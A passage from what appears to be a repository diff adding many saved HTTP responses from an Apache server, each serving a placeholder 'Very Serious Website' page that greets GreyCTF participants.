<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:53 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:12 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:12 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:17 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:17 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:18 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:22 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:22 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:23 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:27 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:27 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:28 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:32 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:32 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:33 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:37 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:37 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:38 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:19:51 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:19:52 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:19:57 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:19:57 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,10 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:43 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:43 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,10 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:45 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:45 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,10 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:57 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html

Some files were not shown because too many files have changed in this diff Show More